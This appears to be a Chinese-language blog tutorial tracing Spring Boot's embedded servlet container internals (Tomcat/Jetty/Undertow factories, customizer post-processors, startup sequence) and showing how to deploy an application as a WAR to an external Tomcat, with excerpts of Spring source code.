    	//判断当前容器中有没有自己定义的EmbeddedServletContainerFactory(嵌入式servlet容器工厂)
    	//EmbeddedServletContainerFactory的作用:创建嵌入式servlet容器
    	public static class EmbeddedTomcat {
    
    		@Bean
    		public TomcatEmbeddedServletContainerFactory tomcatEmbeddedServletContainerFactory() {
    			return new TomcatEmbeddedServletContainerFactory();
    		}
    
    	}
    
    EmbeddedServletContainerFactory
    public interface EmbeddedServletContainerFactory {
    
    	/**
    	 * Gets a new fully configured but paused {@link EmbeddedServletContainer} instance.
    	 * Clients should not be able to connect to the returned server until
    	 * {@link EmbeddedServletContainer#start()} is called (which happens when the
    	 * {@link ApplicationContext} has been fully refreshed).
    	 * @param initializers {@link ServletContextInitializer}s that should be applied as
    	 * the container starts
    	 * @return a fully configured and started {@link EmbeddedServletContainer}
    	 * @see EmbeddedServletContainer#stop()
    	 */
    	 //获取嵌入式的servlet容器
    	EmbeddedServletContainer getEmbeddedServletContainer(
    			ServletContextInitializer... initializers);
    
    }
    
    工厂也有三种
    

    在这里插入图片描述

    EmbeddedServletContainer(嵌入式servlet容器)

    在这里插入图片描述

    如何做到切换自如
    看下面可以看出,当Tomcat导入了依赖,就给容器放进一个TomcatEmbeddedServletContainerFactory
    当导入了jetty就给容器放进一个JettyEmbeddedServletContainerFactory
    undertow也一样
    
    @AutoConfigureOrder(Ordered.HIGHEST_PRECEDENCE)
    @Configuration
    @ConditionalOnWebApplication
    @Import(BeanPostProcessorsRegistrar.class)
    //BeanPostProcessorsRegistrar是给容器导入一些组件的
    //这里是导入EmbeddedServletContainerCustomizerBeanPostProcessor:
    //后置处理器:bean初始化前后(创建完对象,还没赋值赋值)执行初始化工作
    public class EmbeddedServletContainerAutoConfiguration {
    
    	/**
    	 * Nested configuration if Tomcat is being used.
    	 */
    	@Configuration
    	@ConditionalOnClass({ Servlet.class, Tomcat.class })
    	@ConditionalOnMissingBean(value = EmbeddedServletContainerFactory.class, search = SearchStrategy.CURRENT)
    	public static class EmbeddedTomcat {
    
    		@Bean
    		public TomcatEmbeddedServletContainerFactory tomcatEmbeddedServletContainerFactory() {
    			return new TomcatEmbeddedServletContainerFactory();
    		}
    
    	}
    
    	/**
    	 * Nested configuration if Jetty is being used.
    	 */
    	@Configuration
    	@ConditionalOnClass({ Servlet.class, Server.class, Loader.class,
    			WebAppContext.class })
    	@ConditionalOnMissingBean(value = EmbeddedServletContainerFactory.class, search = SearchStrategy.CURRENT)
    	public static class EmbeddedJetty {
    
    		@Bean
    		public JettyEmbeddedServletContainerFactory jettyEmbeddedServletContainerFactory() {
    			return new JettyEmbeddedServletContainerFactory();
    		}
    
    	}
    
    	/**
    	 * Nested configuration if Undertow is being used.
    	 */
    	@Configuration
    	@ConditionalOnClass({ Servlet.class, Undertow.class, SslClientAuthMode.class })
    	@ConditionalOnMissingBean(value = EmbeddedServletContainerFactory.class, search = SearchStrategy.CURRENT)
    	public static class EmbeddedUndertow {
    
    		@Bean
    		public UndertowEmbeddedServletContainerFactory undertowEmbeddedServletContainerFactory() {
    			return new UndertowEmbeddedServletContainerFactory();
    		}
    
    	}
    
    以TomcatEmbeddedServletContainerFactory为例
    public class TomcatEmbeddedServletContainerFactory
    		extends AbstractEmbeddedServletContainerFactory implements ResourceLoaderAware {
    	@Override
    	public EmbeddedServletContainer getEmbeddedServletContainer(
    			ServletContextInitializer... initializers) {
    		//创建一个Tomcat
    		Tomcat tomcat = new Tomcat();
    		//开始配置tomcat
    		File baseDir = (this.baseDirectory != null ? this.baseDirectory
    				: createTempDir("tomcat"));
    		tomcat.setBaseDir(baseDir.getAbsolutePath());
    		Connector connector = new Connector(this.protocol);
    		tomcat.getService().addConnector(connector);
    		customizeConnector(connector);
    		tomcat.setConnector(connector);
    		tomcat.getHost().setAutoDeploy(false);
    		configureEngine(tomcat.getEngine());
    		for (Connector additionalConnector : this.additionalTomcatConnectors) {
    			tomcat.getService().addConnector(additionalConnector);
    		}
    		prepareContext(tomcat.getHost(), initializers);
    		//将配置好的Tomcat传入进去,返回一个EmbeddedServletContainer;
    		//并且启动Tomcat服务器
    		return getTomcatEmbeddedServletContainer(tomcat);
    	}
    }
    
    进入到getTomcatEmbeddedServletContainer()查看
    	protected TomcatEmbeddedServletContainer getTomcatEmbeddedServletContainer(
    			Tomcat tomcat) {
    		return new TomcatEmbeddedServletContainer(tomcat, getPort() >= 0);
    	}
    继续跟踪进去查看,就是创建一个Tomcat嵌入式servlet容器,并且将Tomcat启动
    	/**
    	 * Create a new {@link TomcatEmbeddedServletContainer} instance.
    	 * @param tomcat the underlying Tomcat server
    	 * @param autoStart if the server should be started
    	 */
    	public TomcatEmbeddedServletContainer(Tomcat tomcat, boolean autoStart) {
    		Assert.notNull(tomcat, "Tomcat Server must not be null");
    		this.tomcat = tomcat;
    		this.autoStart = autoStart;
    		initialize();
    	}
    
    	private void initialize() throws EmbeddedServletContainerException {
    		TomcatEmbeddedServletContainer.logger
    				.info("Tomcat initialized with port(s): " + getPortsDescription(false));
    		synchronized (this.monitor) {
    			try {
    				addInstanceIdToEngineName();
    				try {
    					// Remove service connectors to that protocol binding doesn't happen
    					// yet
    					removeServiceConnectors();
    
    					// Start the server to trigger initialization listeners
    					this.tomcat.start();
    
    					// We can re-throw failure exception directly in the main thread
    					rethrowDeferredStartupExceptions();
    
    					Context context = findContext();
    					try {
    						ContextBindings.bindClassLoader(context, getNamingToken(context),
    								getClass().getClassLoader());
    					}
    					catch (NamingException ex) {
    						// Naming is not enabled. Continue
    					}
    
    					// Unlike Jetty, all Tomcat threads are daemon threads. We create a
    					// blocking non-daemon to stop immediate shutdown
    					startDaemonAwaitThread();
    				}
    				catch (Exception ex) {
    					containerCounter.decrementAndGet();
    					throw ex;
    				}
    			}
    			catch (Exception ex) {
    				throw new EmbeddedServletContainerException(
    						"Unable to start embedded Tomcat", ex);
    			}
    		}
    	}
    
    对嵌入式容器的配置修改如何生效的
    之前我们修改容器的配置的时候,是使用ServerProperties里面的属性
    和使用EmbeddedServletContainerCustomizer
    ServerProperties也是EmbeddedServletContainerCustomizer
    EmbeddedServletContainerCustomizer定制器修改了Servlet容器的配置
    那么它是如何修改的呢?
    
    代码里面导入了BeanPostProcessorsRegistrar
    @Import(BeanPostProcessorsRegistrar.class)
    进入查看,就是导入了嵌入式servlet容器定制器的后置处理器
    public static class BeanPostProcessorsRegistrar
    			implements ImportBeanDefinitionRegistrar, BeanFactoryAware {
    		@Override
    		public void registerBeanDefinitions(AnnotationMetadata importingClassMetadata,
    				BeanDefinitionRegistry registry) {
    			if (this.beanFactory == null) {
    				return;
    			}
    			registerSyntheticBeanIfMissing(registry,
    					"embeddedServletContainerCustomizerBeanPostProcessor",
    					EmbeddedServletContainerCustomizerBeanPostProcessor.class);
    			registerSyntheticBeanIfMissing(registry,
    					"errorPageRegistrarBeanPostProcessor",
    					ErrorPageRegistrarBeanPostProcessor.class);
    		}
    }
    
    进入EmbeddedServletContainerCustomizerBeanPostProcessor进行查看
    
    //初始化之前
    public class EmbeddedServletContainerCustomizerBeanPostProcessor
    		implements BeanPostProcessor, BeanFactoryAware {
    	@Override
    	public Object postProcessBeforeInitialization(Object bean, String beanName)
    			throws BeansException {
    		//如果当前初始化的是一个ConfigurableEmbeddedServletContainer类型的组件
    		if (bean instanceof ConfigurableEmbeddedServletContainer) {
    			postProcessBeforeInitialization((ConfigurableEmbeddedServletContainer) bean);
    		}
    		return bean;
    	}
    	
    	private void postProcessBeforeInitialization(
    		ConfigurableEmbeddedServletContainer bean) {
    	//获取所有的定制器,调用每一个定制器的customize方法来给Servlet容器进行属性赋值;
    	for (EmbeddedServletContainerCustomizer customizer : getCustomizers()) {
    		customizer.customize(bean);
    		}
    	}
    	
    	private Collection<EmbeddedServletContainerCustomizer> getCustomizers() {
    	if (this.customizers == null) {
    		// Look up does not include the parent context
    		this.customizers = new ArrayList<EmbeddedServletContainerCustomizer>(
    				this.beanFactory
    		//从容器中获取所有这葛类型的组件:EmbeddedServletContainerCustomizer
    		//定制Servlet容器,给容器中可以添加一个EmbeddedServletContainerCustomizer类型的组件
    						.getBeansOfType(EmbeddedServletContainerCustomizer.class,
    								false, false)
    						.values());
    		Collections.sort(this.customizers, AnnotationAwareOrderComparator.INSTANCE);
    		this.customizers = Collections.unmodifiableList(this.customizers);
    		}
    		return this.customizers;
    	}
    }
    
    过程
    1)、SpringBoot根据导入的依赖情况,给容器中添加相应的
    EmbeddedServletContainerFactory,比如TomcatEmbeddedServletContainerFactory
    2)、容器中某个组件要创建对象就会惊动后置处理器;
    EmbeddedServletContainerCustomizerBeanPostProcessor;
    只要是嵌入式的Servlet容器工厂,后置处理器就工作;
    3)、后置处理器,从容器中获取所有的EmbeddedServletContainerCustomizer,调用定制器的定制方法
    

    嵌入式Servlet容器启动原理

    上面的步骤之中,如果想要惊动后置处理器,那么嵌入式容器工厂必须创建对象
    后才能惊动后置处理器,那么
    什么时候创建嵌入式的Servlet容器工厂?
    什么时候获取嵌入式的Servlet容器并启动Tomcat?
    
    获取嵌入式的Servlet容器工厂:
    	1.SpringBoot应用启动运行run方法
    	2.refreshContext(context);SpringBoot刷新IOC容器
    		创建IOC容器对象,并初始化容器,创建容器中的每一个组件;
    		如果是web应用创建AnnotationConfigEmbeddedWebApplicationContext,
    		否则:AnnotationConfigApplicationContext
    	3.refresh(context);刷新刚才创建好的ioc容器;
    	4.onRefresh(); web的ioc容器重写了onRefresh方法
    		webioc容器会创建嵌入式的Servlet容器;
    		createEmbeddedServletContainer();
    	5.然后会获取嵌入式的Servlet容器工厂
    		EmbeddedServletContainerFactory containerFactory = getEmbeddedServletContainerFactory();
    		从ioc容器中获取EmbeddedServletContainerFactory 组件;
    		TomcatEmbeddedServletContainerFactory创建对象,
    		后置处理器一看是这个对象,
    		就获取所有的定制器来先定制Servlet容器的相关配置;
    	6.使用容器工厂获取嵌入式的Servlet容器:
    		this.embeddedServletContainer = containerFactory
    			.getEmbeddedServletContainer(getSelfInitializer());
    	7.嵌入式的Servlet容器创建对象并启动Servlet容器;
    	后面是:
    	先启动嵌入式的Servlet容器,
    	再将ioc容器中剩下没有创建出的对象获取出来;
    	IOC容器启动创建嵌入式的Servlet容器
    

    外置的Servlet容器

    嵌入式Servlet容器:应用打成可执行的jar
    优点:简单、便携;
    缺点:默认不支持JSP、
    优化定制比较复杂(使用定制器【ServerProperties、
    自定义EmbeddedServletContainerCustomizer】,
    自己编写嵌入式Servlet容器的创建工厂【EmbeddedServletContainerFactory】);
    
    外置的Servlet容器:外面安装Tomcat---应用war包的方式打包;
    步骤:
    	1.必须创建一个war项目;(利用idea创建好目录结构)
    	2.将嵌入式的Tomcat指定为provided;
    		<dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-tomcat</artifactId>
                <scope>provided</scope>
            </dependency>
         3.必须编写一个SpringBootServletInitializer的子类,并调用configure方法
         
    package com.jane.springbootjsp;
    
    import org.springframework.boot.builder.SpringApplicationBuilder;
    import org.springframework.boot.web.support.SpringBootServletInitializer;
    
    public class ServletInitializer extends SpringBootServletInitializer
    {
    
        @Override
        protected SpringApplicationBuilder configure(SpringApplicationBuilder application)
        {
    	    //传入SpringBoot应用的主程序
            return application.sources(SpringBootJspApplication.class);
        }
    
    }
    	
    	4.启动服务器就可以使用;
    

    原理

    两种不同的方式的过程:
    jar包:
    	执行SpringBoot主类的main方法,启动ioc容器,创建嵌入式的Servlet容器;
    war包:
    	启动服务器,服务器启动SpringBoot应用(使用SpringBootServletInitializer),
    	启动ioc容器;
    
    原因:
    	在servlet3.08.2.4 Shared libraries / runtimes pluggability里面有说明:
    
    The ServletContainerInitializer class is looked up via the jar services API.
    For each application, an instance of the ServletContainerInitializer is
    created by the container at application startup time. The framework providing an
    implementation of the ServletContainerInitializer MUST bundle in the
    META-INF/services directory of the jar file a file called
    javax.servlet.ServletContainerInitializer, as per the jar services API,
    that points to the implementation class of the ServletContainerInitializer.
    In addition to the ServletContainerInitializer we also have an annotation -
    HandlesTypes. The HandlesTypes annotation on the implementation of the
    ServletContainerInitializer is used to express interest in classes that may
    have annotations (type, method or field level annotations) specified in the value of
    the HandlesTypes or if it extends / implements one those classes anywhere in the
    classsuper types. The HandlesTypes annotation is applied irrespective of the
    setting of metadata-complete.
    
    1)、服务器启动(web应用启动)会创建当前web应用里面
    	每一个jar包里面ServletContainerInitializer实例:
    2)、ServletContainerInitializer的实现放在jar包的META-INF/services文件夹下,
    	有一个名为javax.servlet.ServletContainerInitializer的文件,
    	内容就是ServletContainerInitializer的实现类的全类名
    3)、还可以使用@HandlesTypes,在应用启动的时候加载我们感兴趣的类;
    
    所以war包的详细过程是:
    1.启动Tomcat
    2.然后会创建org\springframework\spring-web\4.3.14.RELEASE\
    	spring-web-4.3.14.RELEASE.jar!\METAINF\services\
    	javax.servlet.ServletContainerInitializer:这个文件里面的写的类的实例
    	Spring的web模块里面有这个文件:内容是:
    	org.springframework.web.SpringServletContainerInitializer
    3.SpringServletContainerInitializer
    	将@HandlesTypes(WebApplicationInitializer.class)
    	标注的所有这个类型的类都传入到onStartup方法的Set>;
    	为这些WebApplicationInitializer类型的类创建实例;
    	然后为每一个WebApplicationInitializer调用自己的onStartup;
    	相当于我们的SpringBootServletInitializer的类会被创建对象,
    	并执行onStartup方法
    4.SpringBootServletInitializer实例执行onStartup的时候会
    	createRootApplicationContext;创建容器
    
    protected WebApplicationContext createRootApplicationContext(
    ServletContext servletContext) {
    	//1、创建SpringApplicationBuilder
    	SpringApplicationBuilder builder = createSpringApplicationBuilder();
    	StandardServletEnvironment environment = new StandardServletEnvironment();
    	environment.initPropertySources(servletContext, null);
    	builder.environment(environment);
    	builder.main(getClass());
    	ApplicationContext parent = getExistingRootWebApplicationContext(servletContext);
    	if (parent != null) {
    	this.logger.info("Root context already created (using as parent).");
    	servletContext.setAttribute(
    	WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE, null);
    	builder.initializers(new ParentContextApplicationContextInitializer(parent));
    	}
    	builder.initializers(
    	new ServletContextApplicationContextInitializer(servletContext));
    	builder.contextClass(AnnotationConfigEmbeddedWebApplicationContext.class);
    	//调用configure方法,子类重写了这个方法,将SpringBoot的主程序类传入了进来
    	builder = configure(builder);
    	//使用builder创建一个Spring应用
    	SpringApplication application = builder.build();
    	if (application.getSources().isEmpty() && AnnotationUtils
    	.findAnnotation(getClass(), Configuration.class) != null) {
    	application.getSources().add(getClass());
    	}
    	Assert.state(!application.getSources().isEmpty(),
    	"No SpringApplication sources have been defined. Either override the "
    	+ "configure method or add an @Configuration annotation");
    	// Ensure error pages are registered
    	if (this.registerErrorPageFilter) {
    	application.getSources().add(ErrorPageFilterConfiguration.class);
    	}
    	//启动Spring应用
    	return run(application);
    }
    
    5.Spring的应用就启动并且创建IOC容器
    public ConfigurableApplicationContext run(String... args) {
    	StopWatch stopWatch = new StopWatch();
    	stopWatch.start();
    	ConfigurableApplicationContext context = null;
    	FailureAnalyzers analyzers = null;
    	configureHeadlessProperty();
    	SpringApplicationRunListeners listeners = getRunListeners(args);
    	listeners.starting();
    	try {
    		ApplicationArguments applicationArguments = new DefaultApplicationArguments(
    	args);
    	ConfigurableEnvironment environment = prepareEnvironment(listeners,
    	applicationArguments);
    	Banner printedBanner = printBanner(environment);
    	context = createApplicationContext();
    	analyzers = new FailureAnalyzers(context);
    	prepareContext(context, environment, listeners, applicationArguments,
    	printedBanner);
    	//刷新IOC容器
    	refreshContext(context);
    	afterRefresh(context, applicationArguments);
    	listeners.finished(context, null);
    	stopWatch.stop();
    	if (this.logStartupInfo) {
    	new StartupInfoLogger(this.mainApplicationClass)
    	.logStarted(getApplicationLog(), stopWatch);
    	}
    	return context;
    	}
    	catch (Throwable ex) {
    	handleRunFailure(context, listeners, analyzers, ex);
    	throw new IllegalStateException(ex);
    	}
    }
    
    WebApplicationInitializer的继承
    

    在这里插入图片描述

    idea创建好目录结构(也可以自己手写)

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    然后ok就行了
    

    idea整合Tomcat服务器

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • 筋斗云框架可以用来做安卓或IOS的原生应用,以便用户能更快捷的打开应用以及使用手机提供的诸如摄像头、麦克风等各种原生设备功能,提供更友好的用户体验。 使用筋斗云框架制作的应用与原生应用有所区别,一般称为...
  • 1.陷阱 用于移动代码卸载的基于容器的云平台。 Rattrap通过Cloud Android Container提供移动代码运行时环境。 我们在这里介绍两个基本...在我们的卸载框架中,云运行时不是VM或JVM。 我们使用操作系统级虚拟化“ Lin
  • 独立于框架的单例注入容器,可应用于react vue 任何js 框架或项目中,实现多模块数据状态共享以及控制类的单例化,容器内只可以注入纯CLASS类 使用方式 1.VUE下写一个class控制类,并添加一个data属性作为共享状态,...
  • 作为Value Bean可以将数据在各层之间互相传输;作为View Object帮助JSP页面将数据传输并显示出来;作为BO与service层的Manager们分别具有客观实物类的属性部分和行为部分,这样分离可以使服务层更好的分离出来并提供...
  •  基于注解的配置比XML更好吗?这得看情况,XML解耦了配置...可以将注解作为独立的Bean定义进行注册,也可以使用以下方式模糊注册。  xmlns="http://www.springframework.org/schema/beans"  xmlns:xsi="ht
  • 实现功能 如果扫描组件注解(@Controller...我们有时候希望可以自己定义对象的名。 实现思路 1.获得扫描组件注解的name属性的值。 2.将这个值作为对象名 实现步骤 1.在AbstractApplicationContext增加一个方法...
  • 最好将窗口分为几块,Panel的作用就是作为一个子容器,把这些按钮都放在Panel里面,然后把Panel放在框架Frame里面就可以了。 效果如下 假设做一个微波炉吧。。。。。 代码如下: package Test; import javax.swing...
  • [color=green][size=large]有时候,我们可能使用一个SOA服务,传递一些数据,但是我们... jetty作为一个比tomcat还轻量级的servlet容器,可以以非常轻小的姿态,集成在我们的应用程序里面,甚至可以作为一个嵌入式的...
  • 集合框架

    2019-10-18 09:11:14
    集合作为一种容器,里面可以存放内容,存放的每个内容称为是元素(element)。 在整个集合框架里一共有2个大类容器:Collection和Map Collection容器(interface) Collection是元素类容器的根接口。 什么是容器 ...
  • 注意:像JButton 这种GUI组件只可以添加到一个容器中,而且只能在一个容器中出现一次,添加多次 是无效的。   假设要在一个框架中加入10个按钮,和一个文本域,可以将窗口分成几个面板。 面板的作用就是分组放置...
  • nn.Sequential是nn.module的容器,用于按顺序包装一组网络层,使这组网络层被看作为一个整体,可以看做成模型的一个子模块。 class LeNetSequential(nn.Module): def __init__(self, classes): super...
  • SSM框架

    万次阅读 多人点赞 2018-05-27 19:00:17
    一.SSM框架简单介绍 ...其中spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架,它可以装载bean(也就是我们java中的类,当然也包括service dao里面的),有了这个我们就不用去new来...
  • 框架控件

    千次阅读 2010-04-05 21:13:00
    控件不仅可以作为其他控件的容器,起到修饰窗体的作用,而且可用框架将其他控件分成可标识的控件组。所以框架经常和单选按钮和多选按钮一同使用。 添加框架的方法有两种:·使用框架控件将其他控件分组时,应首先...
  • 首先,简单的说一下,这个底部框架的实现步骤。 1,自定义一个类,继承LinearLayout就好了 ,因为我喜欢用LinearLayout, 当然你也可以继承RelativeLayout。 2,重写它两个带参数的构造方法。 3,进入内容的编写...
  • java容器

    2019-05-10 08:56:00
    集合和数组相似点:都可以存储多个对象,对外作为一个整体存在数组的缺点(1)长度必须在初始化时指定,且固定不变(2)数组采用连续存储空间,删除和添加效率低下(3)数组无法直接保存映射关系(4)数组缺乏封装,...
  • SpringBoot框架

    2021-02-20 15:18:13
    Spring主要由许多统一的服务模块组成, 这些模块包括Spring的上下文容器(IOC)、切面编程(AOP)、系统稳定性框架、持久化框架、以及常见的诸如SpringMVC 框架和用于单元测试的Junit等。其中控制反转功能可以使系统设计...
  • 作为Bean容器,Spring框架提供了IoC机制,可以接管所有组件的创建工作并进行依赖管理,因而整合的主要工作就是把MyBatis框架使用中所涉及的核心组件配置到Spring容器中,交给Spring来创建和管理。 业务逻辑对象...
  • SSM框架+SSH框架简介

    2019-03-31 13:24:28
    SSM框架 Spring+SpringMVC+MyBatis Spring:Spring是一个开源...它主要作为依赖注入容器和AOP实现存在,还提供了声明式事务,对DAO层的支持等简化开发的功能。Spring可以很方便地与SpringMVC、Struts2、MyBatis、Hi...
  • java 容器 List

    2019-02-11 12:21:00
    1.概念:Java容器类类库的用途是保存对象,容器中不能存储基本数据...3.容器框架Java集合框架提供了一套性能优良、使用方便的接口和类,它们位于 java.util 包中存放在集合中的数据,被称为元素(element) 各接...
  • 集合容器

    2020-06-02 23:16:00
    文章目录Java集合集合框架的概述集合框架使用CollectionIterator遍历collectionforeach循环Collection子接口之一:List接口(有序可重复的)面试题:ArrayList,LinkedList,Vector三者的异同...线程不安全的;...
  • SpringIOC容器设计

    2020-08-22 08:22:22
    IOC简介 在Spring IoC容器的设计中,作者设计了两个接口...ApplicationContext应用上下文,它作为容器的高级形态而存在。应用上下文在简单容器的基础上,增加了许多面向框架的特性,同时对应用环境做了许多适配。 Spr
  • Spring 框架的理解

    2017-08-09 10:42:11
    Spring 是一个容器框架,何谓容器,就是可以配置各种bean,并且维护bean与bean之间的关系,bean的概念很广,...Spring 作为容器框架,它可以接管web层、业务层、dao层、持久层的各个组件,它可以配置各种bean,并且维护

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,303
精华内容 521
关键字:

框架可以作为容器